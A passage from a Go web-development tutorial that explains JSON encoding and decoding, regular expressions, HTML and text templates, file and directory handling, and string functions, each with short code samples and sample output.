{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}


The rest of this section will use this JSON data to introduce JSON concepts in Go.





142.1 Parse JSON





142.1.1 Parse to struct

Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides the following function for just this purpose:

func Unmarshal(data []byte, v interface{}) error


We can use this function like so:

package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`
    json.Unmarshal([]byte(str), &s)
    fmt.Println(s)
}


In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed? Suppose we have a key called Foo in JSON. How do we find its corresponding field?


	First, Go tries to find the (capitalised) exported field whose tag contains Foo.

	If no match can be found, look for the field whose name is Foo.

	If there are still not matches look for something like FOO or FoO, ignoring case sensitivity.



You may have noticed that all fields that are going to be assigned should be exported, and Go only assigns fields that can be found, ignoring all others. This can be useful if you need to deal with large chunks of JSON data but you only a specific subset of it; the data you don’t need can easily be discarded.





142.1.2 Parse to interface

When we know what kind of JSON to expect in advance, we can parse it to a specific struct. But what if we don’t know?

We know that an interface{} can be anything in Go, so it is the best container to save our JSON of unknown format. The JSON package uses map[string]interface{} and []interface{} to save all kinds of JSON objects and arrays. Here is a list of JSON mapping relations:


	bool represents JSON booleans,

	float64 represents JSON numbers,

	string represents JSON strings,

	nil represents JSON null.



Suppose we have the following JSON data:

b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)


Now we parse this JSON to an interface{}:

var f interface{}
err := json.Unmarshal(b, &f)


The f stores a map, where keys are strings and values are interface{}‘s’.

f = map[string]interface{}{
    "Name": "Wednesday",
    "Age":  6,
    "Parents": []interface{}{
        "Gomez",
        "Morticia",
    },
}


So, how do we access this data? Type assertion.

m := f.(map[string]interface{})


After asserted, you can use the following code to access data:

for k, v := range m {
    switch vv := v.(type) {
    case string:
        fmt.Println(k, "is string", vv)
    case int:
        fmt.Println(k, "is int", vv)
    case float64:
        fmt.Println(k,"is float64",vv)
    case []interface{}:
        fmt.Println(k, "is an array:")
        for i, u := range vv {
            fmt.Println(i, u)
        }
    default:
        fmt.Println(k, "is of a type I don't know how to handle")
    }
}


As you can see, we can now parse JSON of an unknown format through interface{} and type assertion.

The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source project called simplejson, created and maintained by bitly. Here is an example of how to use this project to deal with JSON of an unknown format:

js, err := NewJson([]byte(`{
    "test": {
        "array": [1, "2", 3],
        "int": 10,
        "float": 5.150,
        "bignum": 9223372036854775807,
        "string": "simplejson",
        "bool": true
    }
}`))

arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()


It’s not hard to see how convenient this is. Check out the repository to see more information: https://github.com/bitly/go-simplejson.





142.2 Producing JSON

In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called Marshal to do just that:

func Marshal(v interface{}) ([]byte, error)


Suppose we need to produce a server information list. We have following sample:

package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
    s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
    b, err := json.Marshal(s)
    if err != nil {
        fmt.Println("json err:", err)
    }
    fmt.Println(string(b))
}


Output:

{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}


As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you should use struct tags. Otherwise, Go will not produce data for internal fields.

type Server struct {
    ServerName string `json:"serverName"`
    ServerIP   string `json:"serverIP"`
}

type Serverslice struct {
    Servers []Server `json:"servers"`
}


After this modification, we can produce the same JSON data as before.

Here are some points you need to keep in mind when trying to produce JSON:


	Field tags containing "-" will not be outputted.

	If a tag contains a customized name, Go uses this instead of the field name, like serverName in the above example.

	If a tag contains omitempty, this field will not be outputted if it is zero-value.

	If the field type is bool, string, int, int64, etc, and its tag contains ",string", Go converts this field to its corresponding JSON type.



Example:

type Server struct {
    // ID will not be outputed.
    ID int `json:"-"`

    // ServerName2 will be converted to JSON type.
    ServerName  string `json:"serverName"`
    ServerName2 string `json:"serverName2,string"`

    // If ServerIP is empty, it will not be outputted.
    ServerIP   string `json:"serverIP,omitempty"`
}

s := Server {
    ID:         3,
    ServerName:  `Go "1.0" `,
    ServerName2: `Go "1.0" `,
    ServerIP:   ``,
}
b, _ := json.Marshal(s)
os.Stdout.Write(b)


Output:

{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}


The Marshal function only returns data when it has succeeded, so here are some points we need to keep in mind:


	JSON only supports strings as keys, so if you want to encode a map, its type has to be map[string]T, where T is the type in Go.

	Types like channel, complex types and functions are not capable of being encoded to JSON.

	Do not try to encode cyclic data, it leads to an infinite recursion.

	If the field is a pointer, Go outputs the data that it points to, or else outputs null if it points to nil.



In this section, we introduced how to decode and encode JSON data in Go. We also looked at one third-party project called simplejson which is useful for parsing JSON or unknown format. These are all useful concepts for developing web applications in Go.





142.3 Links


	Directory

	Previous section: XML

	Next section: Regexp







143 7.3 Regexp

Regular Expressions (“Regexp”) is a complicated but powerful tool for pattern matching and text manipulation. Although it does not perform as well as pure text matching, it’s more flexible. Based on its syntax, you can filter almost any kind of text from your source content. If you need to collect data in web development, it’s not difficult to use Regexp to retrieve meaningful data.

Go has the regexp package, which provides official support for regexp. If you’ve already used regexp in other programming languages, you should be familiar with it. Note that Go implemented RE2 standard except for \C. For more details, follow this link: http://code.google.com/p/re2/wiki/Syntax.

Go’s strings package can actually do many jobs like searching (Contains, Index), replacing (Replace), parsing (Split, Join), etc., and it’s faster than Regexp. However, these are all trivial operations. If you want to search a case insensitive string, Regexp should be your best choice. So, if the strings package is sufficient for your needs, just use it since it’s easy to use and read; if you need to perform more advanced operations, use Regexp.

If you recall form validation from previous sections, we used Regexp to verify the validity of user input information. Be aware that all characters are UTF-8. Let’s learn more about the Go regexp package!





143.1 Match

The regexp package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise.

func Match(pattern string, b []byte) (matched bool, error error)
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
func MatchString(pattern string, s string) (matched bool, error error)


All 3 functions check if pattern matches the input source, returning true if it matches. However if your Regex has syntax errors, it will return an error. The 3 input sources of these functions are slice of byte, RuneReader and string.

Here is an example of how to verify an IP address:

func IsIP(ip string) (b bool) {
    if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
        return false
    }
    return true
}


As you can see, using pattern in the regexp package is not that different. Here’s one more example on verifying whether user input is valid:

func main() {
    if len(os.Args) == 1 {
        fmt.Println("Usage: regexp [string]")
        os.Exit(1)
    } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {
        fmt.Println("Number")
    } else {
        fmt.Println("Not number")
    }
}


In the above examples, we use Match(Reader|String) to check if content is valid, but they are all easy to use.





143.2 Filter

Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use the complex mode of Regexp.

Let’s say we need to write a crawler. Here is an example for when you must use Regexp to filter and cut data.

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "regexp"
    "strings"
)

func main() {
    resp, err := http.Get("http://www.baidu.com")
    if err != nil {
        fmt.Println("http get error.")
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("http read error")
        return
    }

    src := string(body)

    // Convert HTML tags to lower case.
    re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllStringFunc(src, strings.ToLower)

    // Remove STYLE.
    re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
    src = re.ReplaceAllString(src, "")

    // Remove SCRIPT.
    re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
    src = re.ReplaceAllString(src, "")

    // Remove all HTML code in angle brackets, and replace with newline.
    re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllString(src, "\n")

    // Remove continuous newline.
    re, _ = regexp.Compile("\\s{2,}")
    src = re.ReplaceAllString(src, "\n")

    fmt.Println(strings.TrimSpace(src))
}


In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a Regexp for parsing content in other operations.

Here are some functions to parse your Regexp syntax:

func Compile(expr string) (*Regexp, error)
func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp


The difference between ComplePOSIX and Compile is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp [a-z]{2,4} and content "aa09aaa88aaaa", CompilePOSIX returns aaaa but Compile returns aa. Must prefix means panic when the Regexp syntax is not correct, returning error otherwise.

Now that we know how to create a new Regexp, let’s see how the methods provided by this struct can help us to operate on content:

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllString(s string, n int) []string
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
func (re *Regexp) FindString(s string) string
func (re *Regexp) FindStringIndex(s string) (loc []int)
func (re *Regexp) FindStringSubmatch(s string) []string
func (re *Regexp) FindStringSubmatchIndex(s string) []int
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int


These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows:

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int


Code sample:

package main

import (
    "fmt"
    "regexp"
)

func main() {
    a := "I am learning Go language"

    re, _ := regexp.Compile("[a-z]{2,4}")

    // Find the first match.
    one := re.Find([]byte(a))
    fmt.Println("Find:", string(one))

    // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0.
    all := re.FindAll([]byte(a), -1)
    fmt.Println("FindAll", all)

    // Find index of first match, start and end position.
    index := re.FindIndex([]byte(a))
    fmt.Println("FindIndex", index)

    // Find index of all matches, the n does same job as above.
    allindex := re.FindAllIndex([]byte(a), -1)
    fmt.Println("FindAllIndex", allindex)

    re2, _ := regexp.Compile("am(.*)lang(.*)")

    // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second ().
    // Output: 
    // the first element: "am learning Go language"
    // the second element: " learning Go ", notice spaces will be outputed as well.
    // the third element: "uage"
    submatch := re2.FindSubmatch([]byte(a))
    fmt.Println("FindSubmatch", submatch)
    for _, v := range submatch {
        fmt.Println(string(v))
    }

    // Same as FindIndex().
    submatchindex := re2.FindSubmatchIndex([]byte(a))
    fmt.Println(submatchindex)

    // FindAllSubmatch, find all submatches.
    submatchall := re2.FindAllSubmatch([]byte(a), -1)
    fmt.Println(submatchall)

    // FindAllSubmatchIndex,find index of all submatches.
    submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1)
    fmt.Println(submatchallindex)
}


As we’ve previously mentioned, Regexp also has 3 methods for matching. They do the exact same thing as the exported functions. In fact, those exported functions actually call these methods under the hood:

func (re *Regexp) Match(b []byte) bool
func (re *Regexp) MatchReader(r io.RuneReader) bool
func (re *Regexp) MatchString(s string) bool


Next, let’s see how to replace strings using Regexp:

func (re *Regexp) ReplaceAll(src, repl []byte) []byte
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
func (re *Regexp) ReplaceAllString(src, repl string) string
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string


These are used in the crawling example, so we will not explain any further here.

Let’s take a look at the definition of Expand:

func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte


So how do we use Expand?

func main() {
    src := []byte(`
        call hello alice
        hello bob
        call hello eve
    `)
    pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)
    res := []byte{}
    for _, s := range pat.FindAllSubmatchIndex(src, -1) {
        res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
    }
    fmt.Println(string(res))
}


At this point, you’ve learnt the whole regexp package in Go. I hope that you can understand more by studying examples of key methods, so that you can do something interesting on your own.





143.3 Links


	Directory
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	Next section: Templates







144 7.4 Templates





144.1 What is a template?

Hopefully you’re aware of the MVC (Model, View, Controller) design model, where models process data, views show the results and finally, controllers handle user requests. For views, many dynamic languages generate data by writing code in static HTML files. For instance, JSP is implemented by inserting <%=....=%>, PHP by inserting <?php.....?>, etc.

The following demonstrates the template mechanism:

[image: ]

Figure 7.1 Template mechanism

Most of the content that web applications respond to clients with is static, and the dynamic parts are usually very small. For example, if you need to display a list users who have visited a page, only the user name would be dynamic. The style of the list remains the same. As you can see, templates are useful for reusing static content.





144.2 Templating in Go

In Go, we have the template package to help handle templates. We can use functions like Parse, ParseFile and Execute to load templates from plain text or files, then evaluate the dynamic parts, as shown in figure 7.1.

Example:

func handler(w http.ResponseWriter, r *http.Request) {
    t := template.New("some template") // Create a template.
    t, _ = t.ParseFiles("tmpl/welcome.html", nil)  // Parse template file.
    user := GetUser() // Get current user infomration.
    t.Execute(w, user)  // merge.
}


As you can see, it’s very easy to use, load and render data in templates in Go, just as in other programming languages.

For the sake of convenience, we will use the following rules in our examples:


	Use Parse to replace ParseFiles because Parse can test content directly from strings, so we don’t need any extra files.

	Use main for every example and do not use handler.

	Use os.Stdout to replace http.ResponseWriter since os.Stdout also implements the io.Writer interface.







144.3 Inserting data into a template

We’ve just shown you how to parse and render templates. Let’s take it one step further and render data to our templates. Every template is an object in Go, so how do we insert fields to templates?





144.3.1 Fields

In Go, Every field that you intend to be rendered within a template should be put inside of {{}}. {{.}} is shorthand for the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you should use {{.FieldName}}. Notice that only exported fields can be accessed in templates. Here is an example:

package main

import (
    "html/template"
    "os"
)

type Person struct {
    UserName string
}

func main() {
    t := template.New("fieldname example")
    t, _ = t.Parse("hello {{.UserName}}!")
    p := Person{UserName: "Astaxie"}
    t.Execute(os.Stdout, p)
}


The above example outputs hello Astaxie correctly, but if we modify our struct a little bit, the following error emerges:

type Person struct {
    UserName string
    email   string  // Field is not exported.
}

t, _ = t.Parse("hello {{.UserName}}! {{.email}}")


This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to use a field that does not exist, Go simply outputs an empty string instead of an error.

If you print {{.}} in a template, Go outputs a formatted string of this object, calling fmt under the covers.





144.3.2 Nested fields

We know how to output a field now. What if the field is an object, and it also has its own fields? How do we print them all in one loop? We can use {{with …}}…{{end}} and {{range …}}{{end}} for exactly that purpose.


	{% raw %}{{range}}{% endraw %} just like range in Go.

	{% raw %}{{with}}{% endraw %} lets you write the same object name once and use . as shorthand for it ( Similar to with in VB ).



More examples:

package main

import (
    "html/template"
    "os"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails   []string
    Friends  []*Friend
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t, _ = t.Parse(`hello {{.UserName}}!
            {{range .Emails}}
                an email {{.}}
            {{end}}
            {{with .Friends}}
            {{range .}}
                my friend name is {{.Fname}}
            {{end}}
            {{end}}
            `)
    p := Person{UserName: "Astaxie",
        Emails:  []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}






144.3.3 Conditions

If you need to check for conditions in templates, you can use the if-else syntax just like you do in regular Go programs. If the pipeline is empty, the default value of if is false. The following example shows how to use if-else in templates:

package main

import (
    "os"
    "text/template"
)

func main() {
    tEmpty := template.New("template test")
    tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n"))
    tEmpty.Execute(os.Stdout, nil)

    tWithValue := template.New("template test")
    tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n"))
    tWithValue.Execute(os.Stdout, nil)

    tIfElse := template.New("template test")
    tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n"))
    tIfElse.Execute(os.Stdout, nil)
}


As you can see, it’s easy to use if-else in templates.

Attention You CANNOT use conditional expressions in if, for instance .Mail=="astaxie@gmail.com". Only boolean values are acceptable.





144.3.4 pipelines

Unix users should be familiar with the pipe operator, like ls | grep "beego". This command filters files and only shows those that contain the word beego. One thing that I like about Go templates is that they support pipes. Anything in {{}} can be the data of pipelines. The e-mail we used above can render our application vulnerable to XSS attacks. How can we address this issue using pipes?

{{. | html}}

We can use this method to escape the e-mail body to HTML. It’s quite similar to writing a Unix command, and it is convenient for use in template functions.





144.3.5 Template variables

Sometimes we need to use local variables in templates. We can use them with the with, range and if keywords, and their scope is between these keywords and {{end}}. Here’s an example of declaring a global variable:

$variable := pipeline

More examples:

{{with $x := "output" | printf "%q"}}{{$x}}{{end}}
{{with $x := "output"}}{{printf "%q" $x}}{{end}}
{{with $x := "output"}}{{$x | printf "%q"}}{{end}}





144.3.6 Template functions

Go uses the fmt package to format output in templates, but sometimes we need to do something else. For example consider the following scenario: let’s say we want to replace @ with at in our e-mail address, like astaxie at beego.me. At this point, we have to write a customized function.

Every template function has a unique name and is associated with one function in your Go program as follows:

type FuncMap map[string]interface{}

Suppose we have an emailDeal template function associated with its EmailDealWith counterpart function in our Go program. We can use the following code to register this function:

t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})

EmailDealWith definition:

func EmailDealWith(args …interface{}) string

Example:

package main

import (
    "fmt"
    "html/template"
    "os"
    "strings"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails   []string
    Friends  []*Friend
}

func EmailDealWith(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    // find the @ symbol
    substrs := strings.Split(s, "@")
    if len(substrs) != 2 {
        return s
    }
    // replace the @ by " at "
    return (substrs[0] + " at " + substrs[1])
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
    t, _ = t.Parse(`hello {{.UserName}}!
                {{range .Emails}}
                    an emails {{.|emailDeal}}
                {{end}}
                {{with .Friends}}
                {{range .}}
                    my friend name is {{.Fname}}
                {{end}}
                {{end}}
                `)
    p := Person{UserName: "Astaxie",
        Emails:  []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}


Here is a list of built-in template functions:

var builtins = FuncMap{
    "and":      and,
    "call":     call,
    "html":     HTMLEscaper,
    "index":    index,
    "js":       JSEscaper,
    "len":      length,
    "not":      not,
    "or":       or,
    "print":    fmt.Sprint,
    "printf":   fmt.Sprintf,
    "println":  fmt.Sprintln,
    "urlquery": URLQueryEscaper,
}






144.4 Must

The template package has a function called Must which is for validating templates, like the matching of braces, comments, and variables. Let’s take a look at an example of Must:

package main

import (
    "fmt"
    "text/template"
)

func main() {
    tOk := template.New("first")
    template.Must(tOk.Parse(" some static text /* and a comment */"))
    fmt.Println("The first one parsed OK.")

    template.Must(template.New("second").Parse("some static text {{ .Name }}"))
    fmt.Println("The second one parsed OK.")

    fmt.Println("The next one ought to fail.")
    tErr := template.New("check parse error with Must")
    template.Must(tErr.Parse(" some static text {{ .Name }"))
}


Output:

The first one parsed OK.
The second one parsed OK.
The next one ought to fail.
panic: template: check parse error with Must:1: unexpected "}" in command





144.5 Nested templates

Just like in most web applications, certain parts of templates can be reused across other templates, like the headers and footers of a blog. We can declare header, content and footer as sub-templates, and declare them in Go using the following syntax:

{{define "sub-template"}}content{{end}}

The sub-template is called using the following syntax:

{{template "sub-template"}}

Here’s a complete example, supposing that we have the following three files: header.tmpl, content.tmpl and footer.tmpl in the folder templates, we will read the folder and store the file names in a string array, which we will then use to parse files.

Main template:

{% raw %}
//header.tmpl
{{define "header"}}
<html>
<head>
    <title>Something here</title>
</head>
<body>
{{end}}

//content.tmpl
{{define "content"}}
{{template "header"}}
<h1>Nested here</h1>
<ul>
    <li>Nested usag</li>
    <li>Call template</li>
</ul>
{{template "footer"}}
{{end}}

//footer.tmpl
{{define "footer"}}
</body>
</html>
{{end}}

//When using subtemplating make sure that you have parsed each sub template file,
//otherwise the compiler wouldn't understand what to substitute when it reads the {{template "header"}}

{% endraw %}


Code:

package main

import (
    "fmt"
    "os"
    "io/ioutil"
    "text/template"
)

var templates *template.Template

func main() {
    var allFiles []string
    files, err := ioutil.ReadDir("./templates")
    if err != nil {
        fmt.Println(err)
    }
    for _, file := range files {
        filename := file.Name()
        if strings.HasSuffix(filename, ".tmpl") {
            allFiles = append(allFiles, "./templates/"+filename)
        }
    }

    templates, err = template.ParseFiles(allFiles...) #parses all .tmpl files in the 'templates' folder

    s1 := templates.Lookup("header.tmpl")
    s1.ExecuteTemplate(os.Stdout, "header", nil)
    fmt.Println()
    s2 := templates.Lookup("content.tmpl")
    s2.ExecuteTemplate(os.Stdout, "content", nil)
    fmt.Println()
    s3 := templates.Lookup("footer.tmpl")
    s3.ExecuteTemplate(os.Stdout, "footer", nil)
    fmt.Println()
    s3.Execute(os.Stdout, nil)
}


Here we can see that template.ParseFiles parses all nested templates into cache, and that every template defined by {{define}} are independent of each other. They are persisted in something like a map, where the template names are keys and the values are the template bodies. We can then use ExecuteTemplate to execute the corresponding sub-templates, so that the header and footer are independent and content contains them both. Note that if we try to execute s1.Execute, nothing will be outputted because there is no default sub-template available.

When you don’t want to use {{define}}, then you can just create a text file with the name of the sub template, for instance _head.tmpl is a sub template which you’ll use across your project then create this file in the templates folder, and use the normal syntax. Lookup cache is basically created so that you don’t read the file every time you serve a request, because if you do, then you are wasting a lot of resources for reading a file which won’t change unless the codebase is being rewritten, it doesn’t make sense to parse the template files during each HTTP GET request, so the technique is used where we parse the files once and then do a Lookup() on the cache to execute the template when we need it to display data.

Templates in one set know each other, but you must parse them for every single set.

Some times you want to contextualize templates, for instance you have a _head.html, you might have a header who’s value you have to populate based on which data you are loading for instance for a todo list manager you can have three categories pending, completed, deleted. for this suppose you have an if statement like this

<title>{{if eq .Navigation "pending"}} Tasks
    {{ else if eq .Navigation "completed"}}Completed
    {{ else if eq .Navigation "deleted"}}Deleted
    {{ else if eq .Navigation "edit"}} Edit
    {{end}}
</title>


Note: Go templates follow the Polish notation while performing the comparison where you give the operator first and the comparison value and the value to be compared with. The else if part is pretty straight forward

Typically we use a {{ range }} operator to loop through the context variable which we pass to the template while execution like this:

    //present in views package
    context := db.GetTasks("pending") //true when you want non deleted notes
    homeTemplate.Execute(w, context)


We get the context object from the database as a struct object, the definition is as below

//Task is the struct used to identify tasks
type Task struct {
    Id      int
    Title   string
    Content string
    Created string
}
//Context is the struct passed to templates
type Context struct {
    Tasks      []Task
    Navigation string
    Search     string
    Message    string
}

//present in database package
var task []types.Task
var context types.Context
context = types.Context{Tasks: task, Navigation: status}

//This line is in the database package where the context is returned back to the view.


We use the task array and the Navigation in our templates, we saw how we use the Navigation in the template,

we’ll see how we’ll use the actual task array in our template.

Here in the {{ if .Tasks }} we first check if the Tasks field of our context object which we passed to the template

while executing is empty or not. If it is not empty then we will range through that array to populate the title and

content of Task. The below example is very important when it comes to looping through an array in a template, we

start with the Range operator, then we can give any member of that struct as {{.Name}}, my Task structure has a

Title and a Content, (please note the capital T and C, they are exported names and they need to be capitalised unless you

want to make them private).

{{ range .Tasks }}
    {{ .Title }}
    {{ .Content }}
{{ end }}


This block of code will print each title and content of the Task array. Below is a full example from github.com/thewhitetulip/Tasks home.html template.

<div class="timeline">
{{ if .Tasks}} {{range .Tasks}}
<div class="note">
    <p class="noteHeading">{{.Title}}</p>
    <hr>
    <p class="noteContent">{{.Content}}</p>
    </ul>
    </span>
</div>
{{end}} {{else}}
<div class="note">
    <p class="noteHeading">No Tasks here</p>
    <p class="notefooter">
    Create new task<button class="floating-action-icon-add" > here </button> </p>
</div>
{{end}}






144.6 Summary

In this section, you learned how to combine dynamic data with templates using techniques including printing data in loops, template functions and nested templates. By learning about templates, we can conclude discussing the V (View) part of the MVC architecture. In the following chapters, we will cover the M (Model) and C (Controller) aspects of MVC.
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145 7.5 Files

Files are essential objects on every single computer device. It won’t come as any surprise to you that web applications also make heavy use of them. In this section, we’re going to learn how to operate on files in Go.





145.1 Directories

In Go, most of the file operation functions are located in the os package. Here are some directory functions:


	func Mkdir(name string, perm FileMode) error

Create a directory with name. perm is the directory permissions, i.e 0777.


	func MkdirAll(path string, perm FileMode) error

Create multiple directories according to path, like astaxie/test1/test2.


	func Remove(name string) error

Removes directory with name. Returns error if it’s not a directory or not empty.


	func RemoveAll(path string) error

Removes multiple directories according to path. Directories will not be deleted if path is a single path.




Code sample:

package main

import (
    "fmt"
    "os"
)

func main() {
    os.Mkdir("astaxie", 0777)
    os.MkdirAll("astaxie/test1/test2", 0777)
    err := os.Remove("astaxie")
    if err != nil {
        fmt.Println(err)
    }
    os.RemoveAll("astaxie")
}






145.2 Files





145.2.1 Create and open files

There are two functions for creating files:


	func Create(name string) (file *File, err Error)

Create a file with name and return a read-writable file object with permission 0666.


	func NewFile(fd uintptr, name string) *File

Create a file and return a file object.




There are also two functions to open files:


	func Open(name string) (file *File, err Error)

Opens a file called name with read-only access, calling OpenFile under the covers.


	func OpenFile(name string, flag int, perm uint32) (file *File, err Error)

Opens a file called name. flag is open mode like read-only, read-write, etc. perm are the file permissions.








145.2.2 Write files

Functions for writing files:


	func (file *File) Write(b []byte) (n int, err Error)

Write byte type content to a file.


	func (file *File) WriteAt(b []byte, off int64) (n int, err Error)

Write byte type content to a specific position of a file.


	func (file *File) WriteString(s string) (ret int, err Error)

Write a string to a file.




Code sample:

package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "astaxie.txt"
    fout, err := os.Create(userFile)        
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fout.Close()
    for i := 0; i < 10; i++ {
        fout.WriteString("Just a test!\r\n")
        fout.Write([]byte("Just a test!\r\n"))
    }
}






145.2.3 Read files

Functions for reading files:


	func (file *File) Read(b []byte) (n int, err Error)

Read data to b.


	func (file *File) ReadAt(b []byte, off int64) (n int, err Error)

Read data from position off to b.




Code sample:

package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "asatxie.txt"
    fl, err := os.Open(userFile)        
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fl.Close()
    buf := make([]byte, 1024)
    for {
        n, _ := fl.Read(buf)
        if 0 == n {
            break
        }
        os.Stdout.Write(buf[:n])
    }
}






145.2.4 Delete files

Go uses the same function for removing files and directories:


	func Remove(name string) Error

Remove a file or directory called name.( *** a name ending with / signifies that it’s a directory*** )
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146 7.6 Strings

On the web, almost everything we see (including user inputs, database access, etc.), is represented by strings. They are a very important part of web development. In many cases, we also need to split, join, convert and otherwise manipulate strings. In this section, we are going to introduce the strings and strconv packages from the Go standard library.





146.1 strings

The following functions are from the strings package. See the official documentation for more details:


	func Contains(s, substr string) bool

Check if string s contains string substr, returns a boolean value.

```Go

fmt.Println(strings.Contains(“seafood”, “foo”))

fmt.Println(strings.Contains(“seafood”, “bar”))

fmt.Println(strings.Contains(“seafood”, “”))

fmt.Println(strings.Contains(“”, “”))




//Output:

//true

//false

//true

//true

```


	func Join(a []string, sep string) string

Combine strings from slice with separator sep.

s := []string{"foo", "bar", "baz"}
fmt.Println(strings.Join(s, ", "))
//Output:foo, bar, baz      



	func Index(s, sep string) int

Find index of sep in string s, returns -1 if it’s not found.

fmt.Println(strings.Index("chicken", "ken"))
fmt.Println(strings.Index("chicken", "dmr"))
//Output:4
//-1



	func Repeat(s string, count int) string

Repeat string s count times.

fmt.Println("ba" + strings.Repeat("na", 2))
//Output:banana



	func Replace(s, old, new string, n int) string

Replace string old with string new in string s. n is the number of replacements. If n is less than 0, replace all instances.

